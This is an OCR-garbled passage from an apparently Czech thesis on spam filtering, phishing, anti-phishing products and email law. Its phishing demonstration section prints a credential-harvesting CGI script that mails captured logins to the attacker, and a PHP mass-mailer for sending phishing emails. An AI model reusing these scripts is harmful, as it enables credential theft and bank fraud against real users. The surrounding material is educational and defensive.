Ze spamy jsou rozesilany hromadné a tudiz mnozstvi emaili se stejnou signaturou bude velké.

Jestlize tedy zprava byla zaznamenana dostateénym poctem serverd, lze fici, ze se s vysokou
pravdépodobnosti jedna o spam. Problém této metody spodiva vtom, Ze spamy mohou byt
generovany tak, aby mély alespon ¢astecn¢ dynamicky obsah. Nekteré filtry tuto skutecnost fesi tak,
ze zpravu rozd¢li na nékolik casti a u téch jednotlivé pocitaji signatury. Nejznaméjsi implementace
tohoto filtru jsou Virpul’s Razor a Distributed Checksum Clearinghouse (DCC). Obé teseni jsou do
znaéné miry podobna, nicméné se lisi v pfistupu k legitimnim hromadnym zpravam (napiiklad
emailové konference). Jelikoz je metoda porovnavani signatur zaloZzena na tom, ze porovnava
mnozstvi vyskytu emaill, mize se velmi snadno stat, ze takto vyfiltruje pravé emailové konference ¢i
dal$i hromadné rozeslané¢ emaily, které vSak nejsou spamem. Virpul’s Razor tento problém fesi
pomoci mechanismu, kdy tzv. autorizovani prispévovatelé mohou odeslat informaci, Ze dana zprava
neni spam. Jiny mechanismus pouziva DCC, ktery rozeznava legitimni postu na zakladé whitelistu.
Nejvétsi nevyhoda téchto metod je vSak jisté zpozdéni, které vznika tim, Ze spam musi obdrzet a
nahlasit spousta serveru, nez jej lze takto filtrovat. Pouziva se tedy spousta nastrazenych adres

(honeypoti), které se snazi zmirnit naskok spamert.

3.3.3 Blacklist

Black list je v podstaté distribuovana databaze, ktera obsahuje zdroje (IP adresy, DNS zaznamy), ze
kterych jiz alesponl jednou prokazatelné pochazel spam. Black listl je v siti internet mnoho — at” uz
komerénich ¢i vefejné pristupnych.

Daji se rozlisit 2 typy blacklistii. Bud’ je na zaklad¢ blacklistu porovnavana shoda IP adresy
odesilatele uvedené v hlavicce Received, nebo blacklist uchovava zaznamy o doménovych jménech ¢i
IP adresach, na které jsou v téle emailu uvedeny url odkazy. Nejvétsim problémem blacklistd, ktery
byl velmi zavazny obzvlasté v minulosti, je vysoky pocet tzv. false-positive detekci. Tehdy se mnoho
1 velmi vyznamnych serverti dostalo nechténé do blacklistii (napf. podle serveru lupa.cz to urcitou
dobu byl i www.seznam.cz [8]). V takovychto pfipadech, kdy se do blacklistu dostane adresa
nechténé, muze jeji majitel po odstranéni své bezpecnostni diry pozadat o vymazani svého zaznamu v
blacklistu. Ten si vS§ak vétSinou nechava néjaky Cas, po ktery sleduje, jestli neobdrzi zpravy o dalSich

spamech z této adresy. Jelikoz se obCas vyskytuji utoky typu DoS proti provozovatelum blacklistu a
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vzhledem k zrychleni odezvy na dotazy sméfujici na tyto servery, je celosvétovou snahou vytvorit sit’
takovychto DNS serveri. Nasledujici obrazek 3-2 zobrazuje geografické rozloZeni server, které si

mezi sebou vzajemné zrcadli (tzv. mirror-servery) blacklist provozovany organizaci Spamhaus [9].

Obrazek 3-2 geografické rozlozeni blacklist serverli spamhaus.org

3.3.4 White list

Whitelist je v podstaté také databaze emaili ¢i doménovych jmen. V porovnani s blacklistem se
vétsinou nejedna o velkou distribuovanou databazi, ale spise o lokalni seznam emaili, které nemaji
byt filtrovany, jelikoZ jsou to znam¢ emaily, se kterymi se jiz pravidelné komunikuje, nebo jsou
dostatecn¢ vérohodné.

Timto lze napfiklad zabezpecit bezproblémovy chod emailovych konferenci. Dalsi vyhodou
muze byt fakt, Ze na takto oznaCené emaily jiz neni potfeba provadét sérii antispamovych testi.
Zajimavym pfistupem k provozu whitelistu je feseni oznacované jako Chalenge-Response. To
vychazi z faktu, Ze spamy jsou odesilany strojové a neni tedy mozné, aby byly dodatecné potvrzeny.
Vyuziva se zde naptiklad interakce s odesilatelem, kterému je poslan zpét email s odkazem na
webovou stranku, kde musi do formulafe vypsat vygenerovany kod (tuto metodu pouziva napriklad
produkt Merak Mail Server). Nevyhodou tohoto systému vSak je, ze jsou takto odfiltrovany
automaticky vygenerované emaily, které jsou vSak pro uzivatele dulezité (napriklad faktury z e-shopu

¢i informace o uctech).
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3.3.5 Greylisting

Greylisting je technologie pouzivana na MTA, ktera vyuziva moznosti tzv. docasného odmitnuti
definovaného protokolem SMTP (chyba s kodem 450-459). Toto odmitnuti se v ramci snizeni zatéze
provadi pouze u odesilatelu, ktefi se nenachazeji v lokalnim whitelistu. Jestlize je emailova adresa
legitimni, server, z n¢hoz byl email odeslan, jej s vysokou pravdépodobnosti odesle znovu. MTA se
odesilajicimu serveru jevi, jako by byl pfili§ zaneprazdnén a v danou dobu email nemohl pfijmout,
jakmile vSak uplyne urcity ¢as, email prijme.
MTA vybaveny greylistingem vétSinou obsahuje tyto trojice zaznamii o kazdé emailové adrese,

se kterou se setkal:

- IP adresu odesilatele (respektive MTA, ktery se pokousi zpravu odeslat)

- Emailovou adresu odesilatele, ktery je zaznamenan v SMTP obalce

- Emailovou adresu pfijemce z SMTP obalky
Kazdy prichazejici email je porovnavan stémito zaznamy. Pokud zde neni, je zaslana chyba o
docasném odmitnuti, nicméné pokud po stanoveném case server opét odesila uvazovanou zpravu,
dostane se 1 on do tohoto whitelistu (expiracni doba takovéhoto zaznamu je vétSinou nékolik desitek
dnu). Tyto zaznamy obsahuji doménova jména (emailovou adresu) ztoho divodu, ze mnoho
spolec¢nosti pouziva pro odesilani emailu hned n¢kolik serverq, které se podle zatéze mohou stridat.

Tato metoda je pomérné ucinna obzvlasté v kombinaci s blacklisty, jelikoz se timto spam

pozdrzi a pokud byl odeslan dostate¢nému poctu uzivatelii, muze se béhem této doby dostat do
blacklistu a byt pak uspésné vyfiltrovan. Na druhou stranu jesté stale bohuzel existuje spousta MTA
kter¢ nemusi striktn¢ dodrzovat vSechna doporuceni RFC a nemusi mit chybu s kodem 450-459
dostateéné oSetfenou. VSeobecné lze fici, Ze tato metoda je vhodny doplnék dalSich metod, na ktery

by se mélo vzdy myslet pfi planovani antispamové politiky.
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4 Phishing

4.1 Uvod do problematiky phishingu

Phishing, znamy t¢Z jako carding ¢i brand spoofing ma mnoho podob a definic. Podstatou phishingu
je oklamani uzivatele podvrzenym emailem za i¢elem ziskani osobnich udaja.

Prvni zaznamenany phishingovy utok byl proveden v roce 1995 na America Online (AOL).
Phishefi zde napodobovali administratora AOL, pficemz sd€lovali uzivatelim, Zze se vyskytnul
problém s jejich vyuctovanim a vyzadovali, aby uZivatel obnovil udaje o platebni karté a o svém uctu.
Tehdy byl tento utok velmi uspésny, jelikoz spojeni domaciho pocitae a internetu bylo relativni
novinkou a lidé témto emailum nem¢li divod nevérit. Tehdy vSak phishing nezasahoval takovou cast
populace jako je tomu dnes. Do soucasnosti bylo podle serveru phishtank.com [10] a podle firmy
Millersmiles [11] zjisténo okolo 370 000 phishingovych stranek, které byly pouzity k phishingovym
utokim. Pocet takovychto utoki roste a dostava nové podoby. Nejéastéji napadené spolecnosti jsou
americké banky, nicméné phishing se dostava jiz i do méné rozvinutych zemi. Geografické rozloZeni

phishingu znazomiuje mapa na obrazku 4-1, ktera cerpa z udaji APWG [12].

-

Attack Percentages
B 2026-3318

[]ob4-69
B 0.23-0.86
B 0.03-02

Obrazek 4-1 geografické rozlozeni phishingu

19


http://phishtank.com

4.2 Demonstrativni ukazka phishingového utoku

V této casti bude ukazan jednoduchy postup, kterym phisher muze realizovat svij ttok. Snahou
tohoto textu je predvést zivotni cyklus takovéhoto utoku v jednoduché a nazomé podobé metodou
falesné identity. Pochopitelné, Zze v dnesni dob¢ jsou phishingové utoky znacné sofistikovangjsi,
nicméné se stale najdou phishefi, kteti ulovi duvérivé uzivatele i pomémé malou modifikaci této
metody.

Jako cilova stranka bude pouzita pomyslna banka The First Bank of Phishing vefejné dostupna

na adrese http://bank.securescience.net/bank’ - viz obrazek 4-2.

Help | Security | Contact Us

FIRST BANK OF PHISHING

.«‘ View Your Accounts  Welcome to Secure Science Corporation’s Daylight Fraud
Prevention (DFP) on-line demo site!
Mew uger? Learn moare | Enrall
Usermname: # Become your own phisher. Download this entire site ina Zip
file and setup your own phishing server

=) @l ishi i
ASSWOT ¥ Generate a phishing email

m = Track a phisher

Forgot your ID? > Detect a proxy

= Pravent malware

= Wiew the Daylight Fraud Frevention logs

Ahout Secure Science | Report Email Fraud
B 2005 Secure Science Corporation. All rights reserved.
Confidential and Proprietary Information. FOIA Exempt.
Patent Pending Daylight Technology

Obrazek 4-2 stranka pomyslné banky urena pro demonstrativni phishingovy utok

Metoda falesné identity zaCina obvykle zrcadlenim cilové stranky. Pro tyto ucely lze pouzit
napf. voln¢ dostupny linuxovy nastroj wget. Odzrcadlenou stranku je tfeba ulozit na server a
dostatecn¢ pozménit pro ucely podvodného ziskani dat. Phishefi vétSinou propoji obrazky, CGI a
HTML odkazy s puvodni strankou. Jediny nepropojeny odkaz v tomto pfipad¢ povede na skript
zpracovavajici samotn¢ prihlasovaci udaje (Login.cgi). Tento soubor provede 2 akce: zaznamena
pifihlasovaci udaje tim, Ze je odeSle do na$i anonymni schranky a dale odesle MIMT POST

s uzivatelskymi udaji na piivodni originalni stranku a pfihlasi se misto n¢j. Tato technika byla pouzita

* Tato stranka je soudasti projektu pro ukazku schopnosti antiphishingovych nastrojii, pro znazornéni
phishingového titoku je vSak zcela dostacujici.
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napiiklad u pfipadu, kdy se phisefi zaméfili na platebni systém PayPal, nezkuseny uzivatel nepozna,

ze se vubec néco stalo. Samotny kod takového skriptu muze vypadat takto:

#!/bin/sh

PATH=/bin:/usr/bin:/usr/local/bin
URI=‘echo “S${REQUEST URI}"“ | sed -e ‘s@.*/cgi/@/cgi/@‘

echo “Status: 301 Page moved

Content-Type: text/html

Location: http://bank.securescience.net/bank ${URI}
<html>

<body>

Stranka presunuta na adresu:

<a href=\“ http://bank.securescience.net/bank

S{URI}\“>http://bank.securescience.net/bank ${URI}

</a>

</body>

</html>"“

ZISKANADATA=‘echo “S${URI}“ | sed -e ‘s/\/cgi\/Login.cgi?// "
cat <<! | /usr/lib/sendmail -t

From: ziskanadata@phishing.cz
To: milt@volny.cz

S {ZISKANADATA}

Tento kod je modifikovanou verzi skutecného kddu dostupného v knize 1 na strané 52 - 53.

Uvedeny skript vezme URI z REQUEST URI a znéj odmaze vse az k /cgi/ (v tomto prikladu se
predpoklada, Zze /cgi/ je v URI obsazeno). V uvazovan¢ demonstracni bance vypada URI napriklad
takto:

http://bank.securescience.net/bank/cgi/Login.cgi?username=kare

l&password=aaa&x=19&y=14

Takto jsou ziskany piihlasovaci udaje zakaznika, které jsou pomoci aplikace sendmail odeslany

na phisheriiv email. Tento email si vétSinou phisher zalozi u spolecnosti, ktera provozuje emaily

......
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Samoziejm¢ phisher muze ziskané udaje ukladat pfimo na server, na kterém bézi dany skript,
moznosti samotného odchyceni a zpracovani piihlasovacich udaju je mnoho. Na presmérovani
podvedeného zakaznika pouziva tento skript navratového kodu 301 http protokolu. Popsany
postup je pomérn€ jednoduchy, nicméné se jedna pouze o demonstraci phishingovych postupti a navic
je tieba si uvédomit, ze phishefi maji svij vlastni ucet v bankovnim ustavu, ktery chtéji napadnout a
vi tedy presné, co se déje pred piihlasenim uzivatele 1 po ném. Diky tomuto mohou provést ucinné
pfesmérovani na originalni stranky a védi, na co se zam¢fit pfi sbéru dat.

Dalsim esencialnim krokem, ktery phisher musi provést, je vytvoreni samotného emailu pro
rozesilani klientim banky. V této fazi vétsinou phisher spolupracuje s odbomiky na psychologii, kteti
peclivé voli kazdé pouzité slovo s cilem, aby email vypadal co nejvérohodnéji. Dal§im problémem je,
jak email odeslat, aby phishera pokud mozno nebylo mozné vystopovat. V ramci tohoto prikladu
bude pouzita pomémé nenaro¢na metoda, ktera je vSak velmi efektivni a byla pouZita v praxi
rumunskymi phishery. Jedna se o PHP skript, ktery zneuziva §irku pasma zneuzitého serveru. Pri
pouziti této metody se predpoklada, Zze phisher bud’ vnikl na cizi server, nebo si server pro tyto ucely
zakoupil pomoci kradené platebni karty (tu mohl ziskat napriklad z pfedchozi phishingové vypravy).
Zde je ukazka skute¢ného kodu pouzitého phisherem, ktery se snazil napadnout platebni portal

paypal.com. (tento kod phisher umistil na pfedem nastrazeny server v ramci projektu German

Honeynet Project)”.

<?php
include ("ini.inc");
$mail header = "From: support@Bank.com<support@Bank.com>\n";
$mail header .= "Content-Type: text/html\n";

Ssubject="ZlepsSeni bezpelnosti Vaseho uctu";
Sbody=1locadini ("seznamemailu.txt");
if (! ($fp = fopen("seznamemailu.txt", "r")))
exit ("nelze otevirit soubor s meily.");
$1=0;
print "Cas zacatku "; print date("Y:m:d H:1"); print "\n";
while (!feof ($fp)) {
fscanf ($fp, "%s", Sname);
Sit++;

mail ($name, $subject, $body, $mail header);

¢ Cilem tohoto projektu je dopadnout phishera jesté diive, neZ se mu podaii uskute&nit jeho podvodny zamér.
Principem je, Ze jsou provozovany a peclivé monitorovany servery, které maji zdmérné velmi Spatné
zabezpeceni a umoziuji odesilat neautorizovanou postu (open relay). Témto serverim se fika honeypoty a jsou
Casto vyhledavany phishery. V ramci Honeynet Project bylo nastazeno n¢kolik takovychto serveru s cilem
naldkat phishery, aby takto monitorovany server pouzili ke svym podvodnym uceltm.
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}
print "Konecny cas "; print date("Y:m:d H:i"); print "\n";
print "S$i"; print "emails sent."; print"\n";

2>

Tento kod je modifikovanou verzi skuteéné¢ho koédu dostupného v ramci projektu Honeynet [13].

Po samotném odeslani emailu jiz jen phisher vyckava nékolik dna a postupné sbira osobni udaje
davérivych klienti. V ramci zahlazeni stop pak obvykle phisher své stranky stahne a pfipadné zrusi
docasn¢ vytvorenou posStovni schranku. Nyni jiz ma databazi pfistupovych udaju nebo Eisla karet
vétsinou nic netusicich uzivatelil a musi je vyuzit jesté diive, nez uzivatelé zjisti, Ze byli podvedeni a
zablokuji své ucty. Phisher vtomto pfipadé vétSinou ukradené tudaje spiSe proda zloinecké
organizovangé spolecnosti, ktera si jej pro tyto ucely najala. Tyto spole¢nosti jsou v dnesni dobé¢ jiz tak
vybavené, Ze jsou si dokonce schopny na zaklad¢ Cisel karet a jejich bezpeénostnich symbolu a Cisla
pin vyrobit karty vlastni, které jsou zcela pouzitelné.

Pochopitelné, ze vyse ukazany utok je prilis jednoduchy a nebylo by mozné jej pouzit na dobfe
zabezpecené banky, nicmén¢ podobnych metod phishefi stale pouzivaji a lze vidét, Ze provést takovy

utok nestoji moc usili a z uhlu pohledu phishera se jedna o velmi rychle vydélané penize.

4.3  Metody obrany

Existuje fada nastroju, které se snazi zamezit pusobeni phishingu. At uz se jedna o samotné
blokovani phishingovych emailt, tak odchytavani phisheri pomoci nastrazenych falesnych
emailovych stranek ¢i honeypoti. VétSina z téchto nastroju jsou pomémeé drahé komeréni aplikace,
nebot’ se predpoklada, ze zakaznikem je banka ¢i ISP, nikoliv bézny uZivatel.

Za jeden znejucinnéjSich antiphishingovych feSeni je povaZzovan nastroj od spolecnosti
Symantec. Ten totiz vyuziva své zkuSebni sit¢ Brightmail, ktera obsahuje navnady v podobé
emailovych ucth. Jelikoz phisher odesila své phishingové emaily vétSinou pomémé hromadné, je zde
slusna pravdépodobnost, Zze se jeho email dostane do laboratofi Symantec, kde je intenzivné
prozkouman a v pfipad¢ potvrzeni jeho Skodlivosti je okamzité vytvofen filtr, ktery se nasledné
odesle samotnym abonentim. Symantec rozesila poskytovatelim internetu tyto aktualizace filtra

kazd¢ 4 minuty. Tyto filtry jsou pak schopny oznacit ¢i zachytit podvodné emaily. Jakmile je takto



detekovan utok, Symantec odesle svym zakaznikiim zfad finanénich instituci informaci o tomto
utoku, ktera mimo jiné obsahuje i IP adresy utocnika.

Pomémé oblibena technologie obrany proti phishingu je varovani zakaznika v moment¢, kdyz
vstoupi na podvrzené¢ webové stranky. Tuto metodu vyuzivaji napf. firmy Billeo, Whole Security,
Webroot, Netcraft, Earthlink a Phish Free. Podstatou této ochrany je vétSinou plug-in pro webovy
prohlize¢, ktery se snazi analyzovat navstévované stranky a pokud je tato stranka vyhodnocena jako
podeziela, uzivatel je patficné varovan (napfiklad obrazkem semaforu, ktery méni barvu). Tyto
nastroje vétSinou funguji na principu porovnavani url se seznamem znamych phishingovych stranek.
Nekteré znich jsou vSak sofistikovangj§i - napf. produkt firmy Whole Security (tuto firmu nyni
koupil Symantec). Ten prozkoumava i obsah, text, rozvrzeni stranky atd. Na zakladé vazencho
praméru z dosazenych vysledku pak rozhoduje, jestli je stranka prava, nebo se jedna o phish.

Existuji firmy, kter¢ se na otazku bezpecnosti divaji zco nejkomplexnéjsiho pohledu.
Nejznamgéjsi je v tomto ohledu pravdépodobné RSA Security, ktery pomaha firmam v pfipravé na
phishingové utoky, aby na né¢ umély reagovat a pripadné se z nich zotavit. RSA Security disponuje
hned nékolika nastroji a tymem odbornikd, ktefi se snazi sondovat sité a analyzovat veskeré podezielé
aktivity, které¢ by mohly poskodit jejich klienty. V pripad¢é odhaleni phishingového utoku RSA ihned
odhaduje jeho rozsah a ve spolupraci s ISP a organy Cinnymi v trestnim fizeni zablokuje danou
stranku. Dale tato firma nabizi pomoc pfi vySetfovani a snazi se trestnim organum poskytnout co
nejvice informaci potfebnych k soudnimu procesu.

Dal$im zajimavym feSenim, je produkt firmy Cyveillance. Ten nepfetrzité monitoruje registry
domén za ucelem rozpoznani neopravnéného pouziti jejich jmen. Nejenom, Ze timto chrani identitu
znacky svych zakaznikt, ale navic se snazi zachytit a analyzovat co nejvice spamu s cilem objevit
snahy o zcizeni osobnich udaja. Jakmile Cyveillance objevi faleSnou aktivni stranku, kontaktuje
ihned trestni organy, aby tato stranka mohla byt zrusena.

Secure Science je téz velmi vyznamnou organizaci, ktera vyviji feSeni proti phishingu. Jeji
filosofie je vSak pon¢kud odlisna. Snazi se totiz phishingu pfedchazet, nikoliv jej analyzovat a
blokovat az v momenté, kdy je samotny phishingovy utok zahajen. Tato firma nabizi softwarovy
balicek Daylight Fraud Prevention (DFP), ktery obsahuje spousty funkci chranénych priimyslovymi
patenty, které¢ jsou schopny detekovat a pripadn¢ blokovat nepovolené pristupy k nékterym
internetovym sluzbam, které jsou specifické pro phishing. DFD se integruje do webovych aplikaci a
servery, pricemz pouziva notifikacni sluzbu kompatibilni se standardy SNMP, SOAP API a POSIX.
Tato technologie je schopna odhalit pouziti podezielého mnozstvi proxy serverti (proxy chaining),
pokusy o zrcadleni stranky, méni systém prihlasovani, ktery v zasadé omezuje pouziti keyloggeru,
dokaze odhalit utoky pfesmérovani (tzv. man-in-the-middle), monitoruje pouziti obrazku stazenych

z originalni stranky, atd.
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5 Pravni ramce emailové komunikace

5.1 Zakonyv CRa souvisejici smérnice EU

Emailova komunikace je ve vétSing stati EU uznanym zpusobem oficialniho predavani informaci
mezi fyzickymi ¢i pravnimi osobami. Znamena to, Ze email je pravng relevantni napriklad jako dikaz
u soudniho liceni, v nékterych zemich muze slouzit jako plnohodnotny prostfedek pro komunikaci
s ufady a dokonce lze digitaln¢ podepsané emaily pouzit jako vyraz bezesporné vule vzhledem
k pravnimu tikonu (napfiklad podpis smlouvy)’.

Tato rovina se blizi myslence, kdy email je rovnocennym ckvivalentem klasického dopisu.
Z hlediska prava se vSak jedna o zcela novy aspekt, jehoz pravni vyvoj neni moc dlouhy a jesté
zdaleka neni ustalen. Je tfeba si uvédomit, Ze vyvoj nejenom prava v chapani legislativy, ale i
rozliSeni spravedlnosti je dlouhodoba zalezitost mnoha generaci lidi, kdy se néjaka nova véc ukotvi
v jejich mysleni a moralce. Vzhledem k tomu, ze emailova komunikace je pomérné novou a vyvijejici
se sférou, ve které se objevuji stale nové moznosti zneuziti a prokazatelnost je poméme obtizna, je i
legislativa v tomto ohledu jest¢ pomérn¢ neucelena.

Jedna se predevsim o to, ze pusobnost emailu muze byt mezistatni zalezitosti, kdy email byl
poslan ze serveru zem¢ s odliSnou legislativou, nez ma stat prijemce. Vznika pak pomémé dlouhy
proces arbitrazi, pricemz tato prodleva Casto zpusobi pozdé&jsi nedopatratelnost pripadného pachatele.
Na tento fakt ¢asto spoléhaji phishefi, ktefi vyuzivaji servery v zemich s nizkou pravni kulturou. Tato
problematika je velmi tizce spjata s mezinarodnim pravem, které¢ bude probrano nize na modelovém
pripadé.

Nejroz§ifenéjSim trestnym Cinem zpusobenym zneuzitim emailové komunikace, je rozesilani
nevyzadanych obchodnich sdéleni (spamu), zde existuji 2 rozdilné pfistupy: OPT-IN (pfijato jako
vzorovy pravni model pro zem¢ EU) a OPT-OUT (zakotveno predev§im v zakonech USA). Dale

N4

komunikaci — phishingu.

" Elektronicky podepsané emaily jsou jiz zab&hlé naptiklad v celni sféte, kdy je potieba efektivné vyméiovat
ovéfené dokumenty v ramci né¢kolika statli. Tato skuteCnost je u nas oSetiena témito zakony: zakona o
elektronickém podpisu (€. 227/2000 Sb.), celni zdkon (€. 13/1993 Sb.) a spravni iad (. 500/2004 Sb.).
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5.2  Emailova kriminalita z pohledu
mezinarodniho prava soukromého a

verejného

Jelikoz se vétSina emaild, které¢ svou formou poskodi jinou osobu ¢i dokonce napliuji skutkovou
podstatu trestného Cinu, zpravidla odehrava v ramci vice nez jednoho statu, je velmi problematicka
kvalifikace takovéhoto soukromopravniho deliktu ¢i trestného ¢inu.

Jako demonstrujici piiklad maZeme uvazovat phishera, ktery je ob&anem Ceské republiky,
nechal se vSak najmout ruskou phisherskou spolec¢nosti a ze serveru v Rumunsku odeslal klientim
americké banky emaily, které¢ zpusobily finan¢ni Skodu jak samotné bance, tak nékolika jejim
klientam, ktefi jsou obCany ruznych zemi svéta. Je zcela zjevné, Ze phisher se dopustil trestného Cinu,
nicmén¢ je velmi obtiznym ukolem rozhodnout, podle které legislativy bude tato skutecnost
posuzovana, ktery organ bude ¢inny v rozhod¢im a dale trestnim fizeni.

Nejprve je tfeba rozlisit, do které pravni kategorie tento pfipad spada a predevsim, podle
legislativy které zemé bude posuzovan. Pro toto urceni se rozlisuje tzv. mezinarodni pravo soukromé
a vefejné. Jestlize se jedna o trestny Cin, €ili poruseni zakona, ktery chrani v§eobecny vefejny zajem,
zalobcem je stat a rozhodné pravo se uréi zpravidla pomoci mezinarodnich smluv spadajicich do
mezinarodniho prava verejného. Prikladem takového jednani mize byt napriklad rozesilani spami,
jelikoz je ve vefejném zajmu, aby byl vinik potrestan. Podle mezinarodniho prava soukromého se
naopak posuzuje rozhodné pravo v tzv. pravnich deliktech, kdy jedna strana svym jednanim poskodi
stranu jinou (napf. tim, Ze poskozené stran¢ ukradne cenna data).

Uvedeny priklad by pravdépodobné postupoval podle nasledujiciho scénafe:

e banka by na zaklad¢ stiznosti svych klientt zjistila, Ze phisher rozeslal email jejim jménem,
podala by tedy okamzité trestni oznameni na neznam¢ho pachatele. Jelikoz se odeslané
emaily snazi podvrhnout jejich puvod, jsou dle legislativy USA povazovany za spam.

e Piipadem by se zacala zabyvat FBI.

e Predpokladejme, Ze by se naslo n¢kolik klientd banky, kteti by davérive , predali™ phisherovi
své prihlasovaci idaje. V tomto moment¢ se phisher dopustil dalSiho trestného ¢inu — kradeze
identity.

e FBI by zjistila, ze IP adresa serveru, na které bézely falesné stranky dané banky, patii
rumunskému ISP. Musi tedy pozadat o spolupraci rumunskou policii. Ta s americkou policii
bude spolupracovat na zakladé umluv spadajicich do mezinarodniho prava vefejného. Nyni

zalezi do zna¢né miry na pravem zarucenych pravomocich rumunské policie, jestli bude
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mozné nashromazdit dostate¢né mnozstvi digitalnich stop (nckteré legislativy komplikuji
pristup k takovymto informacim v zajmu ochrany osobnich udaji).

e Predpokladejme, Zze se podari zjistit, ze server provozoval ¢esky obcan. Do hry vstupuje
Interpol®, kterému se dejme tomu podafi tohoto phisera zadrzet v Ceské republice.

e Nyni je tfeba urcit, podle které legislativy bude pfipad posuzovan. Ktomuto se v
mezinarodnim pravu soukromém pouzivaji ¢asto tzv. kolizni normy, jedna se o soupis
pravidel, ktera provadi vybér rozhodného prava na zakladé okruhu pravnich otazek, na néz se
kolizni norma vztahuje. RozliSuje se zde urceni podle pravniho fadu (lex cause), podle statni
prislusnosti (domicil), podle sidla soudu / ifadu vedouciho fizeni (lex fori). V tomto sporu by
pravdépodobné zalezelo na Ceskych uradech, jestli by vydaly svého obcana (phishera)
americké stran¢ — v takovém pripad¢ by byl pfipad projednavan u soudu pfislusejicimu
obvodu, kde sidli dana americka banka. Podle mezinarodnich smluv zakotvenych v ceském
mezinarodnim pravu vefejném by v pripad¢é nevydani musel byt phisher souzen ze stejnych
obvinéni nasi jurisdikci. To by pro néj bylo pravdépodobné vyhodnéjsi, nicméné zalezi na
konkrétnich detailech celého pripadu.

e Banka by téz phishera Zalovala za poskozeni jejiho dobrého jména, jelikoz podle soucasného
zakona musi v§em svym klientiim oznamit, ze doslo k poruseni bezpecnosti jejich ucta.

e Nejproblemati¢téjsi casti celého phishingového ttoku je samotné pfeCerpani penéz ze
ziskanych ucta. O toto by se jiz starala organizace, ktera si phishera najala. Vyuzila by
k tomu tzv. jezdce na mule, ktery by se snazil ziskat co nejvice duverivych lidi (bilych koni).
Pres tyto lidi (napf. vyuzitim jejich osobnich kont) by postupné ,,proprala® co nejvice penéz z
podvodné¢ ziskanych ucta.

e Pravni postih téchto lidi je zpravidla problematicky, jelikoZz o trestném pozadi jejich Cinu
vétsSinou vubec nevi a jezdci si své muly vybiraji zpravidla z méné vyspélych statt, aby ztizili
prab¢h samotného vySetfovani.

e DalSim problémem je uznani a vykon cizich rozhodnuti. Jedna se o to, ze i kdyz bude v
n¢kterém staté¢ phisher odsouzen, zalezi jen na staté, jehoz je phisher obfanem, jestli toto
rozhodnuti uzna a kde bude probihat samotny vykon trestu. Tento proces muze byt pom&rné
komplikovany, jestlize ma phisher vice obcanstvi.

Z uvedeného pripadu je jasné, Zze je poticba, aby probéhlo mnoho procedur nutnych k dopadeni a
potrestani phishera. Tohoto jsou si organizované gangy velmi dobfe védomi. Spoléhaji bud’ na to, Ze

organy ¢inné v trestnim fizeni nebudou schopny dostatecné koordinovat svoji ¢innost a phisheri za

¥ Interpol, v anglickém piekladu International Criminal Police Organization, je organizaci sdruzujici 184
demokratickych i nedemokratickych stati. Uéelem této organizace je spolupréice policii pii pronasledovani a
zatykani pachatelu trestnych ¢inti. Opira se predev§im o systém ASF (Automated Search Facility), pomoci
kterého muZe tstiedna libovolného Clenského statu vyuzit informace z mezinarodnich databazi.
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sebou stihnou ,,zamést™ stopy nebo, ze pfipad bude diky mezinarodnim pratahtim trvat dostate¢né

dlouhou dobu k tomu, aby doslo k jeho promléeni.

5.3 Model OPT-IN

Nazev OPT-IN by sel prelozit jako ,,zvolit si vejit dovniti*. Toto je v podstaté i zakladni myslenka
tohoto pravniho systému.

Uzivatel mize dostat obchodni sd€leni pouze tehdy, jestlize pfedtim jakoukoliv prokazatelnou
formou udé¢lil odesilateli své predchozi svoleni. Pokud se takto nestalo, odesilatel se dopousti
trestného ¢inu. Toto svoleni 1ze kdykoliv odepfit vyjadifenim vule nesouhlasu (napfiklad odpovédi na
prijaty email). Spravné by tedy mélo byt vzdy mozné na prijaty email odpoveédéEt, pravni postizitelnost
tohoto aspektu v§ak neni normovana v ramci EU a kolisa stat od statu.

Vétsina statt EU véetné Ceské republiky tedy vychazi z tdchto smérnic:

e Directive on the protection of personal data* 1995/46/EC — tato direktiva upravuje zpusob a
nakladani s osobnimi daty. Zaroven zarucuje ochranu citlivych dat pred zneuzitim a stanovuje
povinnost piipadnych drziteli tato data chranit. Za osobni data se rovnéz povazuje veskera
osobni emailova komunikace.

o  Directive on electronic commerce” 2000/31/ES — vtéto smémici jsou oSetfovany
nejriznéjsi situace a celkova koncepce elektronického obchodovani.

e Directive on privacy and electronic communications 2002/58/ES - znama téz jako E-
Privacy. Zavadi model opt-in pro spamy, upravuje moznosti zneuziti cookies ¢i pripadné
uniky osobnich dat.

Tyto direktivy byly v roce 2004 piijaty jako zaklad pro obdobnou legislativu v CR vydanim
zakona o n¢kterych sluzbach informacni spolecnosti ¢. 480/2004 Sb. Dozorem nad dodrZzovanim
tohoto zakona je povéien Ufad pro ochranu osobnich udaji. Z velké &asti je kli¢ovou praci tohoto
uradu kontrola a pfipadny postih vefejnych obchodnich sdéleni (spamu).

V praxi to znamena, ze firma, ktera se chce prezentovat pomoci emailové kampan€, musi mit
souhlas vSech klientu, ktefi maji byt adresaty téchto emailt. K tomuto staci napiiklad, aby uzivatel
zagkrtnul (nebo nechal zaskrtnuté) policko napriklad snapisem ve smyslu ,chci na svij email
dostavat podrobnosti o novych produktech®. Samotna spolecnost pak musi kdykoliv byt schopna
tento fakt prokazat (napriklad seznamem souhlasicich zakazniku s jejich identifikaci, IP adresou a
presnym Casem zapisu). Tento souhlas je zapotfebi, i kdyby byl uzivatel stavajicim zakaznikem
uvazované spolecnosti. V tomto ohledu je nase legislativa vzhledem k evropskému vzoru pfisnéjsi,
nebot” staly klient urcité¢ spolenosti muze v jinych zemich EU obdrzet jejich obchodni sdéleni,

nicmén¢ pokud se jakymkoliv zptisobem vyjadfi, Ze jiz o tato sdéleni nema zajem, nemiize byt nadale
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prijemcem takovychto emailti. Naproti tomu se vSak nase protispamova legislativa vztahuje jen a
pouze na obchodni sd€leni. Zde je tfeba zduraznit, ze presné¢ definovat pojem ,,obchodni sdéleni® je
samo o sob¢ velmi obtizny ukol a bohuzel je praveé toto ,kamenem urazu‘“ naseho pravniho systému.
Vopraxi se toto snazi marketingové firmy obejit informacnim (nikoliv obchodnim) ucelem
rozesilan¢ho emailu. V tomto pfipad¢ musi o povaze pripadného emailu rozhodnout spravni fizeni ¢i
soudni liceni.

Definice moznosti Sifeni obchodnich sdéleni jsou soucasti zakona o nékterych sluzbach
informacni spole¢nosti (§7 zakon ¢. 480/2004 Sb.). Mimo nutnost pfedchoziho souhlasu pripadného
adresata zakon t¢z zakazuje Sifeni obchodniho sdéleni pokud:

a) toto neni zieteln€ a jasn¢ oznaceno jako obchodni sd€leni,
